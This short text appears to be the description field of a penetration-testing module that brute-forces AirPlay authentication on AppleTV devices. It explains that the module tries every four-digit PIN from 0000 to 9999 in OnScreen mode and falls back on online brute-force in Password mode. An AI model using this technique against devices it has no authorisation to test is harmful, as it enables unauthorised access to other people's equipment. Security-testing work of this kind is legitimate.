        This module attempts to authenticate to an AppleTV service with
        the username, 'AirPlay'.  The device has two different access control
        modes: OnScreen and Password. The difference between the two is the
        password in OnScreen mode is numeric-only and four digits long, which
        means when this option is enabled, this option, the module will make
        sure to cover all of them - from 0000 to 9999.  The Password mode is
        more complex, therefore the usual online bruteforce strategies apply.
